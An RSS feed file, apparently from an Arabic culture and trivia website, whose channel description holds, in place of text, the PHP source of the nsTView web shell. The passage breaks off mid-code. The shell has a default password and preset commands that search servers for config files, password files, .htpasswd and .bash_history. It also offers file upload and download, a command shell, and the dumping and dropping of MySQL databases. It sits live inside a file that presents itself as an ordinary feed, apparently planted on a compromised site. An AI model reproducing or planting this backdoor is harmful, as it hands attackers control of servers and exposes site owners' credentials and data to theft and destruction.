<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
  <title>أحدث الألعاب على موسوعة معلومات ثقافية حكم امثال ابحاث علميه غرائب عجائب اسرار</title>
  <link>http://culture.bdr130.net</link>
  <description><![CDATA[&lt;?\r\n@session_start();\r\n@set_time_limit(0);\r\n@set_magic_quotes_runtime(0);\r\nerror_reporting(E_ALL &amp; ~E_NOTICE);\r\n#####cfg#####\r\n# use password  true / false #\r\n$create_password = true;\r\n$password = \&quot;nst\&quot;;    // default password for nstview, you can change it.\r\n\r\n# UNIX COMMANDS\r\n# description (nst) command\r\n# example: Shutdown (nst) shutdown -h now\r\n$fast_commands = \&quot;\r\nShow open ports (nst) netstat -an | grep LISTEN | grep tcp\r\nlast root (nst) last root\r\nlast (all users) (nst) last all\r\nFind all config.php in / (nst) find / -type f -name config.php\r\nFind all config.php in . (nst) find . -type f -name config.php\r\nFind all admin.php in / (nst) find / -type f -name admin.php\r\nFind all admin.php in . (nst) find . -type f -name admin.php\r\nFind all config.inc.php in / (nst) find / -type f -name config.inc.php\r\nFind all config.inc.php in . (nst) find . -type f -name config.inc.php\r\nFind all config.inc in / (nst) find / -type f -name config.inc\r\nFind all config.inc in . (nst) find . -type f -name config.inc\r\nFind all config.dat in / (nst) find / -type f -name config.dat\r\nFind all config.dat in . (nst) find . -type f -name config.dat\r\nFind all config* in / (nst) find / -type f -name config*\r\nFind all config* in . (nst) find . -type f -name config*\r\nFind all pass* in / (nst) find / -type f -name pass*\r\nFind all pass* in . (nst) find . -type f -name pass*\r\nFind all .bash_history in / (nst) find / -type f -name .bash_history\r\nFind all .bash_history in . (nst) find . -type f -name .bash_history\r\nFind all .htpasswd  in / (nst) find / -type f -name .htpasswd\r\nFind all .htpasswd  in . (nst) find . -type f -name .htpasswd\r\nFind all writable dirs/files in / (nst) find / -perm -2 -ls\r\nFind all writable dirs/files in . (nst) find . -perm -2 -ls\r\nFind all suid files in / (nst) find / -type f -perm -04000 -ls\r\nFind all suid files in . (nst) find . -type f -perm -04000 -ls\r\nFind all sgid files in / (nst) find / -type f -perm -02000 -ls\r\nFind all sgid files in . (nst) find . -type f -perm -02000 -ls\r\nFind all .fetchmailrc files in / (nst) find / -type f -name .fetchmailrc\r\nFind all .fetchmailrc files in . (nst) find . -type f -name .fetchmailrc\r\nOS Version? (nst) sysctl -a | grep version\r\nKernel version? (nst) cat /proc/version\r\ncat syslog.conf (nst) cat /etc/syslog.conf\r\nCat - Message of the day (nst) cat /etc/motd\r\nCat hosts (nst) cat /etc/hosts\r\nDistrib name (nst) cat /etc/issue.net\r\nDistrib name (2) (nst) cat /etc/*-realise\r\nDisplay all process - wide output (nst) ps auxw\r\nDisplay all your process (nst) ps ux\r\nInterfaces (nst) ifconfig\r\nCPU? (nst) cat /proc/cpuinfo\r\nRAM (nst) free -m\r\nHDD space (nst) df -h\r\nList of Attributes (nst) lsattr -a\r\nMount options (nst) cat /etc/fstab\r\nIs cURL installed? (nst) which curl\r\nIs wGET installed? (nst) which wget\r\nIs lynx installed? (nst) which lynx\r\nIs links installed? (nst) which links\r\nIs fetch installed? (nst) which fetch\r\nIs GET installed? (nst) which GET\r\nIs perl installed? (nst) which perl\r\nWhere is apache (nst) whereis apache\r\nWhere is perl (nst) whereis perl\r\nlocate proftpd.conf (nst) locate proftpd.conf\r\nlocate httpd.conf (nst) locate httpd.conf\r\nlocate my.conf (nst) locate my.conf\r\nlocate psybnc.conf (nst) locate psybnc.conf\r\n\&quot;;\r\n\r\n\r\n\r\n# WINDOWS COMMANDS\r\n# description (nst) command\r\n# example: Delete autoexec.bat (nst) del c:\autoexec.bat\r\n$fast_commands_win = \&quot;\r\nOS Version (nst) ver\r\nTasklist  (nst) tasklist\r\nAttributes in . (nst) attrib\r\nShow open ports (nst) netstat -an\r\n\&quot;;\r\n\r\n\r\n\r\n\r\n\r\n######ver####\r\n$ver= \&quot;v2.1\&quot;;\r\n#############\r\n$pass=$_POST['pass'];\r\nif($pass==$password){\r\n$_SESSION['nst']=\&quot;$pass\&quot;;\r\n}\r\nif ($_SERVER[\&quot;HTTP_CLIENT_IP\&quot;]) $ip = $_SERVER[\&quot;HTTP_CLIENT_IP\&quot;];\r\nelse if($_SERVER[\&quot;HTTP_X_FORWARDED_FOR\&quot;]) $ip = $_SERVER[\&quot;HTTP_X_FORWARDED_FOR\&quot;];\r\nelse if($_SERVER[\&quot;REMOTE_ADDR\&quot;]) $ip = $_SERVER[\&quot;REMOTE_ADDR\&quot;];\r\nelse $ip = $_SERVER['REMOTE_ADDR'];\r\n$ip=htmlspecialchars($ip);\r\n\r\nif($create_password==true){\r\n\r\nif(!isset($_SESSION['nst']) or $_SESSION['nst']!=$password){\r\ndie(\&quot;\r\n&lt;title&gt;nsTView $ver:: nst.void.ru&lt;/title&gt;\r\n&lt;center&gt;\r\n&lt;table width=100 bgcolor=#D7FFA8 border=1 bordercolor=black&gt;&lt;tr&gt;&lt;td&gt;\r\n&lt;font size=1 face=verdana&gt;&lt;center&gt;\r\n&lt;b&gt;nsTView $ver :: &lt;a href=http://nst.void.ru style='text-decoration:none;'&gt;&lt;font color=black&gt;nst.void.ru&lt;/font&gt;&lt;/a&gt;&lt;br&gt;&lt;/b&gt;\r\n&lt;/center&gt;\r\n&lt;form method=post&gt;\r\nPassword:&lt;br&gt;\r\n&lt;input type=password name=pass size=30 tabindex=1&gt;\r\n&lt;/form&gt;\r\n&lt;b&gt;Host:&lt;/b&gt; \&quot;.$_SERVER[\&quot;HTTP_HOST\&quot;].\&quot;&lt;br&gt;\r\n&lt;b&gt;IP:&lt;/b&gt; \&quot;.gethostbyname($_SERVER[\&quot;HTTP_HOST\&quot;]).\&quot;&lt;br&gt;\r\n&lt;b&gt;Your ip:&lt;/b&gt; \&quot;.$ip.\&quot;\r\n&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;\r\n\&quot;);}\r\n\r\n}\r\n$d=$_GET['d'];\r\n\r\nfunction adds($editf){\r\n#if(get_magic_quotes_gpc()==0){\r\n$editf=addslashes($editf);\r\n#}\r\nreturn $editf;\r\n}\r\nfunction adds2($editf){\r\nif(get_magic_quotes_gpc()==0){\r\n$editf=addslashes($editf);\r\n}\r\nreturn $editf;\r\n}\r\n\r\n$f   = \&quot;nst_sql.txt\&quot;;\r\n$f_d = $_GET['f_d'];\r\n\r\nif($_GET['download']){\r\n$download=$_GET['download'];\r\nheader(\&quot;Content-disposition: attachment; filename=\\&quot;$download\\&quot;;\&quot;);\r\nreadfile(\&quot;$d/$download\&quot;);\r\nexit;}\r\n\r\nif($_GET['dump_download']){\r\nheader(\&quot;Content-disposition: attachment; filename=\\&quot;$f\\&quot;;\&quot;);\r\nheader(\&quot;Content-length: \&quot;.filesize($f_d.\&quot;/\&quot;.$f));\r\nheader(\&quot;Expires: 0\&quot;);\r\nreadfile($f_d.\&quot;/\&quot;.$f);\r\nif(is_writable($f_d.\&quot;/\&quot;.$f)){\r\nunlink($f_d.\&quot;/\&quot;.$f);\r\n}\r\ndie;\r\n}\r\n\r\n\r\n$images=array(\&quot;.gif\&quot;,\&quot;.jpg\&quot;,\&quot;.png\&quot;,\&quot;.bmp\&quot;,\&quot;.jpeg\&quot;);\r\n$whereme=getcwd();\r\n@$d=@$_GET['d'];\r\n$copyr = \&quot;&lt;center&gt;&lt;a href=http://nst.void.ru target=_blank&gt;nsTView $ver&lt;br&gt;o... Network security team ...o&lt;/a&gt;\&quot;;\r\n$php_self=@$_SERVER['PHP_SELF'];\r\nif(@eregi(\&quot;/\&quot;,$whereme)){$os=\&quot;unix\&quot;;}else{$os=\&quot;win\&quot;;}\r\nif(!isset($d)){$d=$whereme;}\r\n$d=str_replace(\&quot;\\\&quot;,\&quot;/\&quot;,$d);\r\nif(@$_GET['p']==\&quot;info\&quot;){\r\n@phpinfo();\r\nexit;}\r\nif(@$_GET['img']==\&quot;1\&quot;){\r\n@$e=$_GET['e'];\r\nheader(\&quot;Content-type: image/gif\&quot;);\r\nreadfile(\&quot;$d/$e\&quot;);\r\n}\r\nif(@$_GET['getdb']==\&quot;1\&quot;){\r\nheader('Content-type: application/plain-text');\r\nheader('Content-Disposition: attachment; filename=nst-mysql-damp.htm');\r\n}\r\nprint \&quot;&lt;title&gt;nsT View $ver&lt;/title&gt;\r\n&lt;style&gt;\r\nBODY, TD, TR {\r\ntext-decoration: none;\r\nfont-family: Verdana;\r\nfont-size: 8pt;\r\nSCROLLBAR-FACE-COLOR: #363d4e;\r\nSCROLLBAR-HIGHLIGHT-COLOR: #363d4e;\r\nSCROLLBAR-SHADOW-COLOR: #363d4e;\r\nSCROLLBAR-ARROW-COLOR: #363d4e;\r\nSCROLLBAR-TRACK-COLOR: #91AAFF\r\n}\r\ninput, textarea, select {\r\nfont-family: Verdana;\r\nfont-size: 10px;\r\ncolor: black;\r\nbackground-color: white;\r\nborder: solid 1px;\r\nborder-color: black\r\n}\r\nUNKNOWN {\r\nCOLOR: #0006DE;\r\nTEXT-DECORATION: none\r\n}\r\nA:link {\r\nCOLOR: #0006DE;\r\nTEXT-DECORATION: none\r\n}\r\nA:hover {\r\nCOLOR: #FF0C0B;\r\nTEXT-DECORATION: none\r\n}\r\nA:active {\r\nCOLOR: #0006DE;\r\nTEXT-DECORATION: none\r\n}\r\nA:visited {\r\nTEXT-DECORATION: none\r\n}\r\n&lt;/style&gt;\r\n&lt;script&gt;\r\nfunction ShowOrHide(d1, d2) {\r\nif (d1 != '') DoDiv(d1);\r\nif (d2 != '') DoDiv(d2);}\r\n\r\nfunction DoDiv(id) {\r\nvar item = null;\r\nif (document.getElementById) {\r\nitem = document.getElementById(id);\r\n} else if (document.all){\r\nitem = document.all[id];\r\n} else if (document.layers){\r\nitem = document.layers[id];}\r\nif (!item) {}\r\nelse if (item.style) {\r\nif (item.style.display == \\&quot;none\\&quot;){ item.style.display = \\&quot;\\&quot;; }\r\nelse {item.style.display = \\&quot;none\\&quot;; }\r\n}else{ item.visibility = \\&quot;show\\&quot;; }}\r\n\r\nfunction cwd(text){\r\ndocument.sh311Form.sh3.value+=\\&quot; \\&quot;+ text;\r\ndocument.sh311Form.sh3.focus();\r\n}\r\n\r\n\r\n&lt;/script&gt;\r\n\&quot;;\r\nprint \&quot;&lt;body vlink=#0006DE&gt;\r\n&lt;table width=600 border=0 cellpadding=0 cellspacing=1 bgcolor=#D7FFA8 align=center&gt;\r\n&lt;tr&gt;&lt;td&gt;&lt;font face=wingdings size=2&gt;0&lt;/font&gt;\&quot;;\r\n$expl=explode(\&quot;/\&quot;,$d);\r\n$coun=count($expl);\r\nif($os==\&quot;unix\&quot;){echo \&quot;&lt;a href='$php_self?d=/'&gt;/&lt;/a&gt;\&quot;;}\r\nelse{\r\n        echo \&quot;&lt;a href='$php_self?d=$expl[0]'&gt;$expl[0]/&lt;/a&gt;\&quot;;}\r\nfor($i=1; $i&lt;$coun; $i++){\r\n        @$xx.=$expl[$i].\&quot;/\&quot;;\r\n$sls=\&quot;&lt;a href='$php_self?d=$expl[0]/$xx'&gt;$expl[$i]&lt;/a&gt;/\&quot;;\r\n$sls=str_replace(\&quot;//\&quot;,\&quot;/\&quot;,$sls);\r\n$sls=str_replace(\&quot;/'&gt;&lt;/a&gt;/\&quot;,\&quot;/'&gt;&lt;/a&gt;\&quot;,$sls);\r\nprint $sls;\r\n}\r\nif(@ini_get(\&quot;register_globals\&quot;)){$reg_g=\&quot;ON\&quot;;}else{$reg_g=\&quot;OFF\&quot;;}\r\nif(@ini_get(\&quot;safe_mode\&quot;)){$safe_m=\&quot;ON\&quot;;}else{$safe_m=\&quot;OFF\&quot;;}\r\necho \&quot;&lt;/td&gt;&lt;/tr&gt;\&quot;;\r\nif($os==\&quot;unix\&quot;){ echo \&quot;\r\n&lt;tr&gt;&lt;td&gt;&lt;b&gt;id:&lt;/b&gt; \&quot;.@exec('id').\&quot;&lt;/td&gt;&lt;/tr&gt;\r\n&lt;tr&gt;&lt;td&gt;&lt;b&gt;uname -a:&lt;/b&gt; \&quot;.@exec('uname -a').\&quot;&lt;/td&gt;&lt;/tr&gt;\&quot;;} echo\&quot;\r\n&lt;tr&gt;&lt;td&gt;&lt;b&gt;Your IP: [&lt;font color=#5F3CC1&gt;$ip&lt;/font&gt;] Server IP: [&lt;font color=#5F3CC1&gt;\&quot;.gethostbyname($_SERVER[\&quot;HTTP_HOST\&quot;]).\&quot;&lt;/font&gt;] Server &lt;a href=# title='Host.Domain'&gt;H.D.&lt;/a&gt;: [&lt;font color=#5F3CC1&gt;\&quot;.$_SERVER[\&quot;HTTP_HOST\&quot;].\&quot;&lt;/font&gt;]&lt;/b&gt;&lt;br&gt;\r\n[&lt;b&gt;Safe mode:&lt;/b&gt; $safe_m] [&lt;b&gt;Register globals:&lt;/b&gt; $reg_g]&lt;br&gt;\r\n[&lt;a href=# onClick=location.href=\\&quot;javascript:history.back(-1)\\&quot;&gt;Back&lt;/a&gt;]\r\n[&lt;a href='$php_self'&gt;Home&lt;/a&gt;]\r\n[&lt;a href='$php_self?d=$d&amp;sh311=1'&gt;Shell (1)&lt;/a&gt; &lt;a href='$php_self?d=$d&amp;sh311=2'&gt;(2)&lt;/a&gt;]\r\n[&lt;a href='$php_self?d=$d&amp;t=upload'&gt;Upload&lt;/a&gt;]\r\n[&lt;a href='$php_self?t=tools'&gt;Tools&lt;/a&gt;]\r\n[&lt;a href='$php_self?p=info'&gt;PHPinfo&lt;/a&gt;]\r\n[&lt;a href='$php_self?delfolder=$d&amp;d=$d&amp;delfl=1&amp;rback=$d' title='$d'&gt;DEL Folder&lt;/a&gt;]\r\n[&lt;a href='$php_self?p=sql'&gt;SQL&lt;/a&gt;]\r\n[&lt;a href='$php_self?p=selfremover'&gt;Self Remover&lt;/a&gt;]\r\n&lt;/td&gt;&lt;/tr&gt;\r\n\&quot;;\r\nif($os==\&quot;win\&quot;){ echo \&quot;\r\n&lt;tr&gt;&lt;td bgcolor=white&gt;\r\n&lt;center&gt;&lt;font face=wingdings size=2&gt;&lt;&lt;/font&gt;\r\n&lt;a href='$php_self?d=a:/'&gt;A&lt;/a&gt;\r\n&lt;a href='$php_self?d=b:/'&gt;B&lt;/a&gt;\r\n&lt;a href='$php_self?d=c:/'&gt;C&lt;/a&gt;\r\n&lt;a href='$php_self?d=d:/'&gt;D&lt;/a&gt;\r\n&lt;a href='$php_self?d=e:/'&gt;E&lt;/a&gt;\r\n&lt;a href='$php_self?d=f:/'&gt;F&lt;/a&gt;\r\n&lt;a href='$php_self?d=g:/'&gt;G&lt;/a&gt;\r\n&lt;a href='$php_self?d=h:/'&gt;H&lt;/a&gt;\r\n&lt;a href='$php_self?d=i:/'&gt;I&lt;/a&gt;\r\n&lt;a href='$php_self?d=j:/'&gt;J&lt;/a&gt;\r\n&lt;a href='$php_self?d=k:/'&gt;K&lt;/a&gt;\r\n&lt;a href='$php_self?d=l:/'&gt;L&lt;/a&gt;\r\n&lt;a href='$php_self?d=m:/'&gt;M&lt;/a&gt;\r\n&lt;a href='$php_self?d=n:/'&gt;N&lt;/a&gt;\r\n&lt;a href='$php_self?d=o:/'&gt;O&lt;/a&gt;\r\n&lt;a href='$php_self?d=p:/'&gt;P&lt;/a&gt;\r\n&lt;a href='$php_self?d=q:/'&gt;Q&lt;/a&gt;\r\n&lt;a href='$php_self?d=r:/'&gt;R&lt;/a&gt;\r\n&lt;a href='$php_self?d=s:/'&gt;S&lt;/a&gt;\r\n&lt;a href='$php_self?d=t:/'&gt;T&lt;/a&gt;\r\n&lt;a href='$php_self?d=u:/'&gt;U&lt;/a&gt;\r\n&lt;a href='$php_self?d=v:/'&gt;V&lt;/a&gt;\r\n&lt;a href='$php_self?d=w:/'&gt;W&lt;/a&gt;\r\n&lt;a href='$php_self?d=x:/'&gt;X&lt;/a&gt;\r\n&lt;a href='$php_self?d=y:/'&gt;Y&lt;/a&gt;\r\n&lt;a href='$php_self?d=z:/'&gt;Z&lt;/a&gt;\r\n&lt;/td&gt;&lt;/tr&gt;\&quot;;}else{echo \&quot;&lt;tr&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;\&quot;;}\r\nprint \&quot;&lt;tr&gt;&lt;td&gt;\r\n:: &lt;a href='$php_self?d=$d&amp;mkdir=1'&gt;Create folder&lt;/a&gt; ::\r\n&lt;a href='$php_self?d=$d&amp;mkfile=1'&gt;Create file&lt;/a&gt; ::\r\n&lt;a href='$php_self?d=$d&amp;read_file_safe_mode=1'&gt;Read file if safe mode is On&lt;/a&gt; ::\&quot;;\r\nif($os==\&quot;unix\&quot;){\r\nprint \&quot;&lt;a href='$php_self?d=$d&amp;ps_table=1'&gt;PS table&lt;/a&gt; ::\&quot;;\r\n}\r\nprint \&quot;&lt;/td&gt;&lt;/tr&gt;\&quot;;\r\n\r\n\r\n\r\n\r\n\r\nif($_GET['p']==\&quot;ftp\&quot;){\r\nprint \&quot;&lt;tr&gt;&lt;td&gt;\&quot;;\r\n\r\n\r\n\r\nprint \&quot;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;\&quot;;\r\nprint $copyr;\r\nexit;\r\n}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nif(@$_GET['p']==\&quot;sql\&quot;){\r\nprint \&quot;&lt;tr&gt;&lt;td&gt;\&quot;;\r\n###\r\n\r\n$f_d = $_GET['f_d'];\r\nif(!isset($f_d)){$f_d=\&quot;.\&quot;;}\r\nif($f_d==\&quot;\&quot;){$f_d=\&quot;.\&quot;;}\r\n\r\n$php_self=$_SERVER['PHP_SELF'];\r\n$delete_table=$_GET['delete_table'];\r\n$tbl=$_GET['tbl'];\r\n$from=$_GET['from'];\r\n$to=$_GET['to'];\r\n$adress=$_POST['adress'];\r\n$port=$_POST['port'];\r\n$login=$_POST['login'];\r\n$pass=$_POST['pass'];\r\n$adress=$_GET['adress'];\r\n$port=$_GET['port'];\r\n$login=$_GET['login'];\r\n$pass=$_GET['pass'];\r\n$conn=$_GET['conn'];\r\nif(!isset($adress)){$adress=\&quot;localhost\&quot;;}\r\nif(!isset($login)){$login=\&quot;root\&quot;;}\r\nif(!isset($pass)){$pass=\&quot;\&quot;;}\r\nif(!isset($port)){$port=\&quot;3306\&quot;;}\r\nif(!isset($from)){$from=0;}\r\nif(!isset($to)){$to=50;}\r\n\r\n\r\n?&gt;\r\n&lt;style&gt;\r\ntable,td{\r\ncolor: black;\r\nfont-face: verdana;\r\nfont-size: 11px;\r\n\r\n}\r\n&lt;/style&gt;\r\n&lt;font color=black face=verdana size=1&gt;\r\n&lt;? if(!$conn){ ?&gt;\r\n\r\n&lt;!-- table 1 --&gt;\r\n&lt;table bgcolor=#D7FFA8&gt;\r\n&lt;tr&gt;&lt;td valign=top&gt;Address:&lt;/td&gt;&lt;td&gt;&lt;form&gt;&lt;input name=adress value='&lt;?=$adress?&gt;' size=20&gt;&lt;input name=port value='&lt;?=$port?&gt;' size=6&gt;&lt;/td&gt;&lt;/tr&gt;\r\n&lt;tr&gt;&lt;Td valign=top&gt;Login: &lt;/td&gt;&lt;td&gt;&lt;input name=login value='&lt;?=$login?&gt;' size=10&gt;&lt;/td&gt;&lt;/tr&gt;\r\n&lt;tr&gt;&lt;Td valign=top&gt;Pass:&lt;/td&gt;&lt;td&gt; &lt;input name=pass value='&lt;?=$pass?&gt;' size=10&gt;&lt;input type=hidden name=p value=sql&gt;&lt;/td&gt;&lt;/tr&gt;\r\n&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;input type=submit name=conn value=Connect&gt;&lt;/form&gt;&lt;/td&gt;&lt;/tr&gt;&lt;?}?&gt;\r\n&lt;tr&gt;&lt;td valign=top&gt;&lt;? if($conn){ echo \&quot;&lt;b&gt;PHP v\&quot;.@phpversion().\&quot;&lt;br&gt;mySQL v\&quot;.@mysql_get_server_info().\&quot;&lt;br&gt;\&quot;;}?&gt;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;\r\n&lt;/table&gt;\r\n&lt;!-- end of table 1 --&gt;\r\n\r\n\r\n&lt;?\r\n$conn=$_GET['conn'];\r\n$adress=$_GET['adress'];\r\n$port=$_GET['port'];\r\n$login=$_GET['login'];\r\n$pass=$_GET['pass'];\r\nif($conn){\r\n\r\n$serv = @mysql_connect($adress.\&quot;:\&quot;.$port, $login,$pass) or die(\&quot;&lt;font color=red&gt;Error: \&quot;.mysql_error().\&quot;&lt;/font&gt;\&quot;);\r\nif($serv){$status=\&quot;Connected. :: &lt;a href='$php_self?p=sql'&gt;Log out&lt;/a&gt;\&quot;;}else{$status=\&quot;Disconnected.\&quot;;}\r\nprint \&quot;&lt;b&gt;&lt;font color=green&gt;Status: $status&lt;br&gt;&lt;br&gt;\&quot;; # #D7FFA8\r\nprint \&quot;&lt;table cellpadding=0 cellspacing=0 bgcolor=#D7FFA8&gt;&lt;tr&gt;&lt;td valign=top&gt;\&quot;;\r\nprint \&quot;&lt;br&gt;&lt;font color=red&gt;[db]&lt;/font&gt;&lt;Br&gt;\&quot;;\r\nprint \&quot;&lt;font color=white&gt;\&quot;;\r\n$res = mysql_list_dbs($serv);\r\nwhile ($str=mysql_fetch_row($res)){\r\nprint \&quot;&lt;a href='$php_self?p=sql&amp;login=$login&amp;pass=$pass&amp;adress=$adress&amp;conn=1&amp;delete_db=$str[0]' onclick='return confirm(\\&quot;DELETE $str[0] ?\\&quot;)'&gt;[DEL]&lt;a href='$php_self?p=sql&amp;login=$login&amp;pass=$pass&amp;adress=$adress&amp;conn=1&amp;db=$str[0]&amp;dump_db=$str[0]&amp;f_d=$d'&gt;[DUMP]&lt;/a&gt;&lt;/a&gt; &lt;b&gt;&lt;a href='$php_self?baza=1&amp;db=$str[0]&amp;p=sql&amp;login=$login&amp;pass=$pass&amp;adress=$adress&amp;conn=1&amp;tbl=$str[0]'&gt;$str[0]&lt;/a&gt;&lt;/b&gt;&lt;br&gt;\&quot;;\r\n$tc++;\r\n}\r\n$baza=$_GET['baza'];\r\n$db=$_GET['db'];\r\nprint \&quot;&lt;font color=red&gt;[Total db: $tc]&lt;/font&gt;&lt;br&gt;\&quot;;\r\nif($baza){\r\nprint \&quot;&lt;div align=left&gt;&lt;font color=green&gt;db: [$db]&lt;/div&gt;&lt;/font&gt;&lt;br&gt;\&quot;;\r\n$result=@mysql_list_tables($db);\r\nwhile($str=@mysql_fetch_array($result)){\r\n$c=mysql_query (\&quot;SELECT COUNT(*) FROM $str[0]\&quot;);\r\n$records=mysql_fetch_array($c);\r\n\r\nif(strlen($str[0])&gt;$s4ot){$s4ot=strlen($str[0]);}\r\nif($records[0]==\&quot;0\&quot;){\r\nprint \&quot;&lt;a href='$php_self?p=sql&amp;login=$login&amp;pass=$pass&amp;adress=$adress&amp;conn=1&amp;db=$db&amp;delete_table=$str[0]' onclick='return confirm(\\&quot;DELETE $str[0] ?\\&quot;)' title='Delete $str[0]?'&gt;[D]&lt;/a&gt;&lt;a href='$php_self?p=sql&amp;login=$login&amp;pass=$pass&amp;adress=$adress&amp;conn=1&amp;db=$db&amp;baza=1&amp;rename_table=$str[0]' title='Rename $str[0]'&gt;[R]&lt;/a&gt;&lt;font color=red&gt;[$records[0]]&lt;/font&gt; &lt;a href='$php_self?vnutr=1&amp;p=sql&amp;vn=$str[0]&amp;baza=1&amp;db=$db&amp;login=$login&amp;pass=$pass&amp;adress=$adress&amp;conn=1&amp;tbl=$str[0]&amp;ins_new_line=1'&gt;$str[0]&lt;/a&gt;&lt;br&gt;\&quot;;\r\n}else{\r\nprint \&quot;&lt;a href='$php_self?p=sql&amp;login=$login&amp;pass=$pass&amp;adress=$adress&amp;conn=1&amp;db=$db&amp;delete_table=$str[0]' onclick='return confirm(\\&quot;DELETE $str[0] ?\\&quot;)' title='Delete $str[0]?'&gt;[D]&lt;/a&gt;&lt;a href='$php_self?p=sql&amp;login=$login&amp;pass=$pass&amp;adress=$adress&amp;conn=1&amp;db=$db&amp;baza=1&amp;rename_table=$str[0]' title='Rename $str[0]'&gt;[R]&lt;/a&gt;&lt;font color=red&gt;[$records[0]]&lt;/font&gt; &lt;a href='$php_self?vnutr=1&amp;p=sql&amp;vn=$str[0]&amp;baza=1&amp;db=$db&amp;login=$login&amp;pass=$pass&amp;adress=$adress&amp;conn=1&amp;tbl=$str[0]'&gt;$str[0]&lt;/a&gt;&lt;br&gt;\&quot;;\r\n}\r\nmysql_free_result($c);\r\n$total_t++;\r\n}\r\nprint \&quot;&lt;br&gt;&lt;B&gt;&lt;font color=red&gt;Total tables: $total_t&lt;/font&gt;&lt;/b&gt;\&quot;;\r\n                                print \&quot;&lt;pre&gt;\&quot;;\r\nfor($i=0; $i&lt;$s4ot+10; $i++){print \&quot;&amp;nbsp;\&quot;;}\r\n                                print \&quot;&lt;/pre&gt;\&quot;;\r\n} #end baza\r\n\r\n\r\n\r\n\r\n# delete table\r\nif(isset($delete_table)){\r\nmysql_select_db($_GET['db']) or die(\&quot;&lt;font color=red&gt;\&quot;.mysql_error().\&quot;&lt;/font&gt;\&quot;);\r\nmysql_query(\&quot;DROP TABLE IF EXISTS $delete_table\&quot;) or die(\&quot;&lt;font color=red&gt;\&quot;.mysql_error().\&quot;&lt;/font&gt;\&quot;);\r\nprint \&quot;&lt;br&gt;&lt;b&gt;&lt;font color=green&gt;Table [ $delete_table ] :: Deleted success!&lt;/font&gt;&lt;/b&gt;\&quot;;\r\nprint \&quot;&lt;meta http-equiv=\\&quot;REFRESH\\&quot; content=\\&quot;5;URL=$php_self?p=sql&amp;login=$login&amp;pass=$pass&amp;adress=$adress&amp;conn=1&amp;db=$db&amp;baza=1\\&quot;&gt;\&quot;;\r\n}\r\n# end of delete table\r\n\r\n# delete database\r\nif(isset($_GET['delete_db'])){\r\nmysql_drop_db($_GET['delete_db']) or die(\&quot;&lt;font color=red&gt;\&quot;.mysql_error().\&quot;&lt;/font&gt;\&quot;);\r\nprint \&quot;&lt;br&gt;&lt;b&gt;&lt;font color=green&gt;Database \&quot;.$_GET['delete_db'].\&quot; :: Deleted Success!\&quot;;\r\nprint \&quot;&lt;meta http-equiv=\\&quot;REFRESH\\&quot; content=\\&quot;5;URL=$php_self?p=sql&amp;login=$login&amp;pass=$pass&amp;adress=$adress&amp;conn=1\\&quot;&gt;\&quot;;\r\n}\r\n# end of delete database\r\n\r\n# delete row\r\nif(isset($_POST['delete_row'])){\r\n$_POST['delete_row'] = base64_decode($_POST['delete_row']);\r\nmysql_query(\&quot;DELETE FROM \&quot;.$_GET['tbl'].\&quot; WHERE \&quot;.$_POST['delete_row']) or die(\&quot;&lt;font color=red&gt;\&quot;.mysql_error().\&quot;&lt;/font&gt;\&quot;);\r\n$del_result = \&quot;&lt;br&gt;&lt;b&gt;&lt;font color=green&gt;Deleted Success!&lt;br&gt;\&quot;.$_POST['delete_row'];\r\nprint \&quot;&lt;meta http-equiv=\\&quot;REFRESH\\&quot; content=\\&quot;5;URL=$php_self?p=sql&amp;login=$login&amp;pass=$pass&amp;adress=$adress&amp;conn=1&amp;vnutr=1&amp;baza=1&amp;vn=\&quot;.$_GET['vn'].\&quot;&amp;db=$db&amp;tbl=$tbl\\&quot;&gt;\&quot;;\r\n}\r\n# end of delete row\r\n\r\n\r\n$vn=$_GET['vn'];\r\nprint \&quot;&lt;/td&gt;&lt;td valign=top&gt;\&quot;;\r\nprint \&quot;&lt;font color=green&gt;Database: $db =&gt; $vn&lt;/font&gt;\&quot;;\r\n\r\n# edit row\r\nif(isset($_POST['edit_row'])){\r\n$edit_row=base64_decode($_POST['edit_row']);\r\n\r\n$r_edit = mysql_query(\&quot;SELECT * FROM $tbl WHERE $edit_row\&quot;) or die(\&quot;&lt;font color=red&gt;\&quot;.mysql_error().\&quot;&lt;/font&gt;\&quot;);\r\nprint \&quot;&lt;br&gt;&lt;br&gt;\r\n       &lt;table border=0 cellpadding=1 cellspacing=1&gt;&lt;tr&gt;\r\n       &lt;td&gt;&lt;b&gt;Row&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;Value&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;\&quot;;\r\nprint  \&quot;&lt;form method=post action='$php_self?p=sql&amp;login=\&quot;.$_GET['login'].\&quot;&amp;pass=\&quot;.$_GET['pass'].\&quot;&amp;adress=\&quot;.$_GET['adress'].\&quot;&amp;conn=1&amp;baza=1&amp;tbl=\&quot;.$_GET['tbl'].\&quot;&amp;vn=\&quot;.$_GET['vn'].\&quot;&amp;db=\&quot;.$_GET['db'].\&quot;'&gt;\&quot;;\r\nprint  \&quot;&lt;input type=hidden name=edit_row value='\&quot;.$_POST['edit_row'].\&quot;'&gt;\&quot;;\r\nprint \&quot; &lt;input type=radio name=upd value=update checked&gt;Update&lt;br&gt;\r\n        &lt;input type=radio name=upd value=insert&gt;Insert new&lt;br&gt;&lt;br&gt;\&quot;;\r\n\r\n\r\n$i=0;\r\nwhile($mn = mysql_fetch_array($r_edit, MYSQL_ASSOC)){\r\nforeach($mn as $key =&gt;$val){\r\n$type  = mysql_field_type($r_edit, $i);\r\n$len  = mysql_field_len($r_edit, $i);\r\n$del .= \&quot;`$key`='\&quot;.adds($val).\&quot;' AND \&quot;;\r\n$c=strlen($val);\r\n$val=htmlspecialchars($val, ENT_NOQUOTES);\r\n$str=\&quot; &lt;textarea name='$key' cols=39 rows=5&gt;$val&lt;/textarea&gt; \&quot;;\r\n$buff .= \&quot;&lt;tr&gt;&lt;td bgcolor=silver&gt;&lt;b&gt;$key&lt;/b&gt;&lt;br&gt;&lt;font 